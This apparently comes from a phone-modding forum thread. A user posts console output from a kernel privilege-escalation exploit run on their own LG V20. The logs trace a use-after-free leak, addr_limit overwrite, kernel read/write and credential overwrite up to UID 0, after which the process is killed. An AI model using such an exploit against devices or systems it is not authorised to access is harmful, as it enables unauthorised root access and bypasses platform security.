[LG V20 Questions & Answers] Supersonic27543:
That seems to have done something good!

MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff4afef9b80
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffff41ef69ab0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: task_struct_ptr = 0xfffffff41f09c000
CHILD: Finished write to FIFO.
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: wrote 69688
PARENT: leaking successful
MAIN: task_struct_ptr = fffffff4afef9b80
MAIN: stack = fffffff41f09c000
MAIN: Clobbering addr_limit
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff4afef9b80
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffff41f2894b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
CHILD: wrote 69688
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
CHILD: task_struct_ptr = 0xfffffff41f09c000
CHILD: Finished write to FIFO.
PARENT: leaking successful
found thread_info stack offset at 184
PARENT: clobbering at 0xfffffff41f09c0b8
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xfffffff41f09c000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
MAIN: search_base = ffffffc000000000
MAIN: searching for selinux_enforcing
CHILD: wrote 69648
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
error with kernel reading: Bad address

Also I tried removing some SELinux lines,

MAIN: detected kernel version 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff474b45280
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffff4b0765cb0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: **fail** clobber value doesn't match: is 0 but should be abcddeadbeef1234
CHILD: **fail** iovec clobbering didn't work
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
MAIN: **fail** retrying
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff474b45280
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffff41f3dccb0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xfffffff41de28000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: took 1 tries but did it
MAIN: task_struct_ptr = fffffff474b45280
MAIN: stack = fffffff41de28000
MAIN: Clobbering addr_limit
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff474b45280
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffff41f3dccb0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
CHILD: task_struct_ptr = 0xfffffff41de28000
CHILD: Finished write to FIFO.
PARENT: leaking successful
found thread_info stack offset at 184
PARENT: clobbering at 0xfffffff41de280b8
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xfffffff41de28000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
MAIN: search_base = ffffffc000000000
MAIN: searching for selinux_enforcing
MAIN: setting root credentials with cred offset 720
writing at
PARENT: clobbering at 0xfffffff4093193c4
CHILD: wrote 69648
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69644
PARENT: readv returns 69644, expected 69644
PARENT: clobbering test passed
successful kernel write
MAIN: UID = 0
MAIN: enabling capabilities
writing at
PARENT: clobbering at 0xfffffff4093193e4
Killed

I tried to get a root shell after the UID=0, but that gave a "Killed", so makes me think that probably active SELinux kills this process (I'm not sure whether SELinux kills processes like that though, could be some other undocumented protection :(). I also tried making a simple console which runs the input string with system(), but when I run some command (doesn't matter if a real one or not) with it the process is killed, so maybe using the root privileges is what kills the process and not having them. Anyway, judging by the outputs your kstack patch seems to have done the trick. Thank you very much! :good:

EDIT: I looked at the kernel logs and it doesn't look like SELinux killed this process, not sure though.